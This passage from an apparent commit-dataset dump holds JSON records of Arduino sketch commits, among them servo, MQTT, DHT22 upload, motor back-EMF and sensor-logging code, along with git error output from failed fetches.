1s, changed timer 2 to timer 1\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Individual sensor rewritten\/Pulse.ino","new_file":"Individual sensor rewritten\/Pulse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Individual' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'rewritten\/Pulse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c43a5d3d9700ac6b0fea0f2f548c0a8a54ee30a","subject":"One leg servo tester: analog read from potentiometer and a button for switching joint to control","message":"One leg servo tester: analog read from potentiometer and a button for switching joint to control\n","repos":"wrutkowski\/quadruped,wrutkowski\/quadruped,wrutkowski\/quadruped,wrutkowski\/quadruped,wrutkowski\/quadruped","old_file":"arduino\/servo-tester\/servo-tester.ino","new_file":"arduino\/servo-tester\/servo-tester.ino","new_contents":"#include <Servo.h>\n\n#define HIP_MODE 0\n#define THIGH_MODE 1\n#define TIBIA_MODE 2\n\nconst int buttonPin = 3;\nconst int analogInPin = A2;\nconst int hipServoPin = 8;\nconst int thighServoPin = 9;\nconst int tibiaServoPin = 10;\n\nServo hipServo;\nServo thighServo;\nServo tibiaServo;\n\nint hipServoValue = 0;\nint thighServoValue = 0;\nint tibiaServoValue = 0;\n\nint mode = HIP_MODE;\n\nvoid setup() {\n Serial.begin(9600);\n\n pinMode(buttonPin, INPUT);\n \n hipServo.attach(hipServoPin);\n thighServo.attach(thighServoPin);\n tibiaServo.attach(tibiaServoPin);\n}\n\nvoid loop() {\n int sensorValue = analogRead(analogInPin);\n if (mode == HIP_MODE) {\n hipServoValue = map(sensorValue, 0, 1023, 0, 180);\n } else if (mode == THIGH_MODE) {\n thighServoValue = map(sensorValue, 0, 1023, 0, 180);\n } else if (mode == TIBIA_MODE) {\n tibiaServoValue = map(sensorValue, 0, 1023, 0, 180);\n }\n\n hipServo.write(hipServoValue);\n thighServo.write(thighServoValue);\n tibiaServo.write(tibiaServoValue);\n \n Serial.print(\"hipServoValue: \");\n Serial.print(hipServoValue);\n Serial.print(\", thighServoValue: \");\n Serial.print(thighServoValue);\n Serial.print(\", tibiaServoValue: \");\n Serial.println(tibiaServoValue);\n\n if (digitalRead(buttonPin) == HIGH) {\n mode++;\n if (mode > TIBIA_MODE) mode = HIP_MODE;\n\n if (mode == HIP_MODE) {\n Serial.println(\"Mode: HIP\");\n } else if (mode == THIGH_MODE) {\n Serial.println(\"Mode: THIGH\");\n } else if (mode == TIBIA_MODE) {\n Serial.println(\"Mode: TIBIA\");\n }\n\n \/\/ waiting for release\n while (digitalRead(buttonPin) == HIGH) {\n delay(10);\n }\n }\n\n delay(200);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/servo-tester\/servo-tester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f43d13ebb4f3969dee30a9d259b050ed11737a97","subject":"grid ready and tested","message":"grid ready and tested\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e6d7aefa4bb957f6d0ffb88675eb3109598775ba","subject":"fix Sonoff example due coap changes","message":"fix Sonoff example due coap changes\n","repos":"bitsybits\/bitsybits-core,bitsybits\/bitsybits-core","old_file":"lib\/Platforms\/examples\/Sonoff.ino","new_file":"lib\/Platforms\/examples\/Sonoff.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitsybits\/bitsybits-core.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a8266f6fed920a4c5e272bef6ea712846e62046","subject":"drobne poprawki","message":"drobne poprawki\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d4101acca934ac7a615bc441340e62d44977a547","subject":"added links and hw setup","message":"added links and hw setup\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/HardwareTesting\/LEDSegmentsWithMAX72xxTest\/LEDSegmentsWithMAX72xxTest.ino","new_file":"src\/rfduino\/HardwareTesting\/LEDSegmentsWithMAX72xxTest\/LEDSegmentsWithMAX72xxTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2e85d1ca27c4fdef05affdbd8dd372b017e5b789","subject":"File for the main program","message":"File for the main program\n","repos":"buildbrighton\/Auto-Vend-O-Matic-5000,buildbrighton\/Auto-Vend-O-Matic-5000","old_file":"Arduino\/Vendomatic\/Vendomatic.ino","new_file":"Arduino\/Vendomatic\/Vendomatic.ino","new_contents":"void setup() {\n \n}\n\nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Vendomatic\/Vendomatic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84736d29ca795c611fac40a1f4a03bc330debca0","subject":"Add an example showing how to set the QoS value of a message to publish","message":"Add an example showing how to set the QoS value of a message to publish\n","repos":"hemantsangwan\/Arduino-PubSubClient,liquiddandruff\/pubsubclient,doebi\/pubsubclient,liquiddandruff\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Imroy\/pubsubclient,vshymanskyy\/pubsubclient,liquiddandruff\/pubsubclient,Protoneer\/pubsubclient,koltegirish\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,vshymanskyy\/pubsubclient,vshymanskyy\/pubsubclient,Protoneer\/pubsubclient,Imroy\/pubsubclient,doebi\/pubsubclient,koltegirish\/pubsubclient,doebi\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient","old_file":"examples\/mqtt_qos\/mqtt_qos.ino","new_file":"examples\/mqtt_qos\/mqtt_qos.ino","new_contents":"\/*\n MQTT with QoS example\n\n - connects to an MQTT server\n - publishes \"hello world\" to the topic \"outTopic\" with a variety of QoS values\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(String topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(\"arduinoClient\")) {\n client.publish(\"outTopic\", \"hello world qos=0\");\t\/\/ Simple publish with qos=0\n\n client.publish(MQTT::Publish(\"outTopic\", \"hello world qos=1\")\n .set_qos(1, client.next_packet_id()));\n\n client.publish(MQTT::Publish(\"outTopic\", \"hello world qos=2\")\n .set_qos(2, client.next_packet_id()));\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_qos\/mqtt_qos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79ee965910d3809705bbedd8b6fdca4a7714676e","subject":"Dimmer added","message":"Dimmer added\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"afe9753f9745e8acfdd8960f2561a643088d71d0","subject":"Create ESP_DHT22_upload.ino","message":"Create ESP_DHT22_upload.ino\n\nThis initial version uses delay - it really should use deepsleep","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/ESP_DHT22_upload.ino","new_file":"ESP8266-code\/ESP_DHT22_upload.ino","new_contents":"#include <ESP8266WiFi.h>\n#include \"DHT.h\"\n\n#define DHTPIN 5\n#define DHTTYPE DHT22 \n\nDHT dht(DHTPIN, DHTTYPE);\n\nconst char* ssid = \"my ssid\";\nconst char* password = \"my password\";\nfloat delayMinutes= 1;\nfloat humidity;\nfloat temperature;\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"streamid\";\nconst char* privateKey = \"stream pk\";\n\nvoid setup() {\n Serial.begin(9600);\n delay(10);\n\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Print the IP address\n Serial.print(\"Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\");\n\n dht.begin();\n}\n\nvoid loop() {\n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n Serial.println(\"connected\");\n\n\/\/ Read the DHT22 sensor\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n while(isnan(h) || isnan(t) ) {\n Serial.println(\"Failed to read from DHT sensor!\");\n delay(2000);\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n }\n \n \/\/ Compute heat index in Celsius (isFahreheit = false)\n float hic = dht.computeHeatIndex(t, h, false);\n\n \/\/ DISPLAY DATA\n Serial.print(\"DHT22, \\t\");\n Serial.print(h);\n Serial.print(\",\\t\");\n Serial.println(t);\n\n\/\/ Create URL to send the data to the datastore in a GET\n\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += \"&_pk=\";\n url += privateKey;\n url += \"&temp=\";\n url += t;\n url += \"&humidity=\";\n url += h;\n url += \"&heatindex=\";\n url += hic;\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n\n delay(delayMinutes*60*1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/ESP_DHT22_upload.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"684363d5b533d4bbe943a995f16a0fd8e80021c3","subject":"forgot to add this earlier","message":"forgot to add this earlier\n","repos":"HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti,HelsinkiHacklab\/urpobotti","old_file":"arduino\/backemf_test\/backemf_test.ino","new_file":"arduino\/backemf_test\/backemf_test.ino","new_contents":"\n#define PPS_SAMPLE_TIME 100\n#define M1_ENABLE_PIN 4\n#define M2_ENABLE_PIN 7\n#define M1_PWM_PIN 5\n#define M2_PWM_PIN 6\n#define M1_FWD_MEAS A2\n#define M1_BWD_MEAS A3\n#define M2_FWD_MEAS A0\n#define M2_BWD_MEAS A1\n\n\nint16_t m1_speed;\nint16_t m2_speed;\nint16_t m1_measured;\nint16_t m2_measured;\n\n\n\/\/ Define various ADC prescaler\nconst unsigned char PS_16 = (1 << ADPS2);\nconst unsigned char PS_32 = (1 << ADPS2) | (1 << ADPS0);\nconst unsigned char PS_64 = (1 << ADPS2) | (1 << ADPS1);\nconst unsigned char PS_128 = (1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0);\n\n\nvoid setSpeeds(int16_t m1value, int16_t m2value)\n{\n m1_speed = constrain(m1value, -127, 127);\n m2_speed = constrain(m2value, -127, 127);\n\n \/\/ TODO: rewrite as register addressing\n if (m1_speed == 0)\n {\n digitalWrite(M1_ENABLE_PIN, 0);\n analogWrite(M1_PWM_PIN, 127);\n }\n else\n {\n digitalWrite(M1_ENABLE_PIN, 1);\n analogWrite(M1_PWM_PIN, 127 + m1_speed);\n }\n if (m2_speed == 0)\n {\n digitalWrite(M2_ENABLE_PIN, 0);\n analogWrite(M2_PWM_PIN, 127);\n }\n else\n {\n digitalWrite(M2_ENABLE_PIN, 1);\n analogWrite(M2_PWM_PIN, 127 + m2_speed);\n }\n\n Serial.println(0x6); \/\/ ACK\n}\n\n\n\n\/\/ TODO: look at https:\/\/github.com\/MajenkoLibraries\/Average\n#define MPOINTS 5\nint16_t avgtmp;\nint measured[MPOINTS];\n\nvoid print_measured()\n{\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n Serial.print(F(\"measured[\"));\n Serial.print(i, DEC);\n Serial.print(F(\"]=\"));\n Serial.println(measured[i], DEC);\n }\n}\n\nvoid measure_motor1()\n{\n int readpin = 0;\n uint8_t hi_idx;\n uint8_t lo_idx;\n\n if (m1_speed > -1)\n {\n readpin = M1_FWD_MEAS;\n }\n else\n {\n readpin = M1_BWD_MEAS;\n }\n \n hi_idx = 0;\n lo_idx = 0;\n\n digitalWrite(M1_ENABLE_PIN, 0);\n \/\/ give it some time\n delayMicroseconds(100);\n\n \/\/ Do measurements\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n measured[i] = analogRead(readpin);\n if (measured[i] > measured[hi_idx])\n {\n hi_idx = i;\n }\n if (measured[i] < measured[hi_idx])\n {\n lo_idx = i;\n }\n }\n if (m1_speed != 0)\n {\n digitalWrite(M1_ENABLE_PIN, 1);\n }\n\n \/\/ Average them (but throw away highest and lowest values)\n avgtmp = 0;\n uint8_t counts = 0;\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n \/\/ If these are the same then we have 4 counts instead of 3...\n if ( i == hi_idx\n || i == lo_idx)\n {\n continue;\n }\n avgtmp += measured[i];\n counts++;\n }\n m1_measured = avgtmp \/ counts;\n \n Serial.println(F(\"M1 measurements\"));\n print_measured();\n Serial.print(F(\"Averaged=\"));\n Serial.println(m1_measured);\n}\n\n\nvoid measure_motor2()\n{\n int readpin = 0;\n uint8_t hi_idx;\n uint8_t lo_idx;\n\n if (m2_speed > -1)\n {\n readpin = M2_FWD_MEAS;\n }\n else\n {\n readpin = M2_BWD_MEAS;\n }\n \n hi_idx = 0;\n lo_idx = 0;\n\n digitalWrite(M2_ENABLE_PIN, 0);\n \/\/ give it some time\n delayMicroseconds(100);\n\n \/\/ Do measurements\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n measured[i] = analogRead(readpin);\n if (measured[i] > measured[hi_idx])\n {\n hi_idx = i;\n }\n if (measured[i] < measured[hi_idx])\n {\n lo_idx = i;\n }\n }\n if (m2_speed != 0)\n {\n digitalWrite(M2_ENABLE_PIN, 1);\n }\n\n \/\/ Average them (but throw away highest and lowest values)\n avgtmp = 0;\n uint8_t counts = 0;\n for(uint8_t i=0; i < MPOINTS; i++)\n {\n \/\/ If these are the same then we have 4 counts instead of 3...\n if ( i == hi_idx\n || i == lo_idx)\n {\n continue;\n }\n avgtmp += measured[i];\n counts++;\n }\n m2_measured = avgtmp \/ counts;\n \n Serial.println(F(\"M2 measurements\"));\n print_measured();\n Serial.print(F(\"Averaged=\"));\n Serial.println(m2_measured);\n}\n\n\nvoid setup()\n{\n Serial.begin(115200);\n \/\/ set up the ADC\n ADCSRA &= ~PS_128; \/\/ remove bits set by Arduino library\n \/\/ you can choose a prescaler from above.\n \/\/ PS_16, PS_32, PS_64 or PS_128\n ADCSRA |= PS_64; \/\/ set our own prescaler to 64 \n\n pinMode(M1_FWD_MEAS, INPUT);\n pinMode(M1_BWD_MEAS, INPUT);\n pinMode(M2_FWD_MEAS, INPUT);\n pinMode(M2_BWD_MEAS, INPUT);\n\n pinMode(M1_ENABLE_PIN, OUTPUT);\n pinMode(M1_PWM_PIN, OUTPUT);\n pinMode(M2_ENABLE_PIN, OUTPUT);\n pinMode(M2_PWM_PIN, OUTPUT);\n setSpeeds(0,0);\n\n\n \/\/setSpeeds(127,0);\n \/\/setSpeeds(-127,0);\n \/\/setSpeeds(-80,0);\n \/\/setSpeeds(80,0);\n \/\/setSpeeds(0,127);\n \/\/setSpeeds(0,-127);\n \/\/setSpeeds(0,-80);\n setSpeeds(0,80);\n\n Serial.println(F(\"Booted\"));\n}\n\n\n\n\/\/ vmin 1400mV (127,127)\n\/\/ vmin 880mV (80,80)\nunsigned long last_measurement;\nvoid loop()\n{\n if ((millis() - last_measurement) > 20)\n {\n last_measurement = millis();\n measure_motor1();\n measure_motor2();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/backemf_test\/backemf_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c1c41e58f415fabbe2fa34df04d7b1da8af3b89","subject":"update particle code","message":"update particle code\n","repos":"dxhackers\/cybermaze,dxhackers\/cybermaze,dxhackers\/cybermaze","old_file":"ino\/ iotmazecontroller.ino","new_file":"ino\/ iotmazecontroller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dxhackers\/cybermaze.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"36d7f03d03c9165caef5c0928c8bae1422829b5c","subject":"code without ethernet shield code","message":"code without ethernet shield code\n","repos":"anouarattn\/DIY-IoT-PresentationEnset-17-11-2014","old_file":"code\/water_level_indicator.ino","new_file":"code\/water_level_indicator.ino","new_contents":"\/\/ http:\/\/www.electroschematics.com\nint in1=13;\nint in2=22;\nint in3 =12;\nint in4 = 8;\n\nvoid setup() {\nSerial.begin(9600);\n pinMode(in1, INPUT); \n pinMode(in2, INPUT); \n pinMode(in3, INPUT);\n pinMode(in4, INPUT);\n}\n\nvoid loop() {\n \n if(digitalRead(in4) == LOW) {\n Serial.println(\"niveau4 : verre plein\");\n } \n else if(digitalRead(in3) == LOW) {\n Serial.println(\"niveau3 : verre presque\");\n } \n else if(digitalRead(in2) == LOW) \n {\n Serial.println(\"niveau2 : verre \u00e0 moiti\u00e9 plein\");\n } \n else if(digitalRead(in1) == LOW) {\n Serial.println(\"niveau1 : verre presque vide\");\n } \n else\n {\n Serial.println(\"vide\");\n } \n \n \n \n\/\/ if(digitalRead(in1) == LOW) {\n\/\/ Serial.println(\"niveau1\");\n\/\/ } \n\/\/ else {\n\/\/ Serial.println(\"pas niveau1\");\n\/\/ } \n\/\/ if(digitalRead(in2) == LOW) \n\/\/ {\n\/\/ Serial.println(\"niveau2\");\n\/\/ } \n\/\/ else {\n\/\/ Serial.println(\"pas niveau2\");\n\/\/ } \n\/\/ if(digitalRead(in3) == LOW) \n\/\/ {\n\/\/ Serial.println(\"niveau 3\");\n\/\/ } \n\/\/ else {\n\/\/ Serial.println(\"pas niveau3\");\n\/\/ } \n\/\/ if(digitalRead(in4) == LOW) \n\/\/ {\n\/\/ Serial.println(\"niveau4\");\n\/\/ } \n\/\/ else {\n\/\/ Serial.println(\"pas niveau4\");\n\/\/ } \n \n \n delay(50); \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/water_level_indicator.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9a5f2ac8fd76d5b9b775cbdbb2aeaec62422f306","subject":"Create sensors-accel.ino","message":"Create sensors-accel.ino\n\nThis version should give us the accel values in the log file","repos":"UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter,UvaEnvSci\/weather-copter","old_file":"sensor-array\/sensors-accel.ino","new_file":"sensor-array\/sensors-accel.ino","new_contents":"\/\/ Date and time functions using RX8025 RTC connected via I2C and Wire lib\n\n#include <Wire.h>\n\n#include \"DS3231.h\"\n#include <SDI12.h>\n#include <Fat16.h>\n#include <Fat16util.h>\n\n#include <L3G4200D.h>\n#include <ADXL345.h>\n#include <HMC5883L.h>\n#include <Adafruit_BMP085.h>\n#include <Sensirion.h>\n\nfloat heading;\n\n\/\/10DOF\nL3G4200D gyro;\nADXL345 accel; \nHMC5883L compass;\nAdafruit_BMP085 bmp;\n\n\/\/sht75\nconst uint8_t dataPin = 9; \/\/ SHT serial data\nconst uint8_t sclkPin = 8; \/\/ SHT serial clock\nconst uint32_t TRHSTEP = 5000UL; \/\/ Sensor query period\nSensirion sht = Sensirion(dataPin, sclkPin);\nuint16_t rawData;\nfloat temperature;\nfloat humidity;\nfloat dewpoint;\nbyte measActive = false;\nbyte measType = TEMP;\nunsigned long trhMillis = 0; \/\/ Time interval tracking\n\n\/\/Linear Thermistor\nint inPin = A1;\ndouble inputValue;\ndouble tempInCelsius;\ndouble slope = -0.1302; \/\/Place calibrated thermistor slope here in degC\/V\ndouble offset = 89.113; \/\/Place calibrated thermistor offset here in degC\n\n#define DATAPIN 3 \/\/ change to the proper pin\nSDI12 mySDI12(DATAPIN);\nString myCommand = \"0R0!\";\n\nSdCard card;\nFat16 file;\n\nbool newline = false;\n\n\/\/ store error strings in flash to save RAM\n#define error(s) error_P(PSTR(s))\n\nvoid error_P(const char* str) {\n PgmPrint(\"error: \");\n SerialPrintln_P(str);\n if (card.errorCode) {\n PgmPrint(\"SD error: \");\n Serial.println(card.errorCode, HEX);\n }\n while(1);\n}\n\nDS3231 RTC; \/\/Create the R8025 object\n\nvoid setup () \n{\n\n Serial.begin(9600);\n Wire.begin();\n RTC.begin();\n mySDI12.begin();\n pinMode(inPin, INPUT);\n gyro.enableDefault();\n accel.powerOn();\n compass = HMC5883L();\n compass.SetScale(1.3); \/\/ Set the scale of the compass.\n compass.SetMeasurementMode(Measurement_Continuous); \/\/ Set the measurement mode to Continuous \n bmp.begin();\n}\n\nvoid loop () \n{\n \n \/\/ initialize the SD card\n if (!card.init()) error(\"card.init\");\n \n \/\/ initialize a FAT16 volume\n if (!Fat16::init(&card)) error(\"Fat16::init\");\n \n char name[] = \"DATALOG.CSV\";\n \/\/ clear write error\n file.writeError = false;\n \n \/\/ O_CREAT - create the file if it does not exist\n \/\/ O_APPEND - seek to the end of the file prior to each write\n \/\/ O_WRITE - open for write\n if (!file.open(name, O_CREAT | O_APPEND | O_WRITE))\n error(\"error opening file\"); \n \n mySDI12.sendCommand(myCommand);\n delay(100); \/\/ wait a while for a response\n printTime();\n Serial.print(',');\n file.print(',');\n printLT();\n Serial.print(',');\n file.print(',');\n\/\/ printSHT();\n\/\/ Serial.print(',');\n\/\/ file.print(',');\n printGryo();\n Serial.print(',');\n file.print(',');\n printAccel();\n Serial.print(',');\n file.print(',');\n printBMP();\n Serial.print(',');\n file.print(',');\n printHeading();\n Serial.print(',');\n file.print(',');\n while(mySDI12.available()){ \/\/ write the response to the screen\n char i = mySDI12.read();\n if (i != '\\n') {\n Serial.write(i);\n file.write(i);\n } \n }\n Serial.println();\n\n if (!file.close()) \n error(\"error closing file\");\n \n delay(900);\n}\n\nvoid printTime () {\n DateTime now = RTC.now(); \/\/get the current date-time\n char timestp[15];\n sprintf(timestp, \"%04d-%02d-%02d-%02d:%02d:%02d\", now.year(), now.month(), now.date(), now.hour(), now.minute(), now.second());\n file.print(timestp);\n Serial.print(timestp);\n}\n\n\/\/linear thermistor\nvoid printLT() {\n inputValue = analogRead(inPin);\n tempInCelsius = inputValue * slope + offset;\n Serial.print(tempInCelsius);\n file.print(tempInCelsius);\n Serial.print(\"C\");\n file.print(\"C\");\n}\n\n\/\/sht75\nvoid printSHT() {\n sht.meas(TEMP, &rawData, BLOCK); \/\/ Start temp measurement\n temperature = sht.calcTemp(rawData); \/\/ Convert raw sensor data\n sht.meas(HUMI, &rawData, BLOCK); \/\/ Start humidity measurement\n humidity = sht.calcHumi(rawData, temperature); \/\/ Convert raw sensor data\n dewpoint = sht.calcDewpoint(humidity, temperature);\n Serial.print(temperature);\n file.print(temperature);\n Serial.print(\"C,\");\n file.print(\"C,\");\n Serial.print(humidity);\n file.print(humidity);\n Serial.print(\"%,\");\n file.print(\"%,\");\n Serial.print(dewpoint);\n file.print(dewpoint);\n Serial.print(\"C\");\n file.print(\"C\");\n}\n\n\/\/ gryo values\nvoid printGryo() {\n gyro.read();\n Serial.print((int)gyro.g.x);\n Serial.print(\",\");\n Serial.print((int)gyro.g.y);\n Serial.print(\",\");\n Serial.print((int)gyro.g.z);\n file.print((int)gyro.g.x);\n file.print(\",\");\n file.print((int)gyro.g.y);\n file.print(\",\");\n file.print((int)gyro.g.z);\n}\n\n\/\/ accel values\nvoid printAccel() {\n int x,y,z;\n accel.readAccel(&x, &y, &z);\n Serial.print(x);\n Serial.print(\",\");\n Serial.print(y);\n Serial.print(\",\");\n Serial.print(z);\n file.print(x);\n file.print(\",\");\n file.print(y);\n file.print(\",\");\n file.print(z);\n}\n\n\/\/ bmp values\nvoid printBMP(){\n Serial.print(bmp.readTemperature());\n Serial.print(\",\");\n Serial.print(bmp.readPressure());\n Serial.print(\",\");\n Serial.print(bmp.readAltitude());\n file.print(bmp.readTemperature());\n file.print(\",\");\n file.print(bmp.readPressure());\n file.print(\",\");\n file.print(bmp.readAltitude());\n}\n\n\/\/ compass heading\nvoid printHeading(){\n \/\/ Retrive the raw values from the compass (not scaled).\n MagnetometerRaw raw = compass.ReadRawAxis();\n \/\/ Retrived the scaled values from the compass (scaled to the configured scale).\n MagnetometerScaled scaled = compass.ReadScaledAxis();\n \n \/\/ Values are accessed like so:\n int MilliGauss_OnThe_XAxis = scaled.XAxis;\/\/ (or YAxis, or ZAxis)\n \n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n heading = atan2(scaled.YAxis, scaled.XAxis); \n \n float declinationAngle = 0.0457;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n heading = heading * 180\/M_PI;\n Serial.print(heading);\n file.print(heading);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor-array\/sensors-accel.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9a6707e1ac24a6864f1d93ff9daffc04d4bb2b56","subject":"Create sensorcheck.ino","message":"Create sensorcheck.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"sensorcheck.ino","new_file":"sensorcheck.ino","new_contents":"\/\/ check data from temperature and humidity sensors\n\nvoid SensorCheck(){ \n unsigned long sensorTime = millis(); \/\/ Timreading to once per SensorTime \n if (sensorTime - sensorTime2 > sensorInterval){\n \/\/readingsCount ++;\n lcd.setCursor(19,3);\n lcd.print(\" \");\n Temp3 = dht.readTemperature(); \/\/ Read sensor\n Hum = dht.readHumidity();\n sensorTime2 = millis();\n \n Temp1 = getTemp1();\n Temp2 = getTemp2();\n \n if (Mode == 1){\n \/\/the next bit calculates a running average of the last n readings. note all readings default to 0, first few readings ramp up. \n \/*totalT= totalT - readingsT[index]; \n readingsT[index] = Temp3; \n totalT= totalT + readingsT[index]; \n PvT = totalT \/ numReadings; \n totalH= totalH - readingsH[index]; \n readingsH[index] = Hum; \n totalH= totalH + readingsH[index]; \n PvH = totalH \/ numReadings; \n index = index + 1; \n if (index >= numReadings) \n index = 0; *\/\n PvT = Temp3;\n PvH = Hum;\n }\n else {\n PvT = (Temp1 + Temp2) \/ 2;\n PvH = Hum;\n \/*totalH= totalH - readingsH[index]; \n readingsH[index] = Hum; \n totalH= totalH + readingsH[index]; \n PvH = totalH \/ numReadings; \n index = index + 1; \n if (index >= 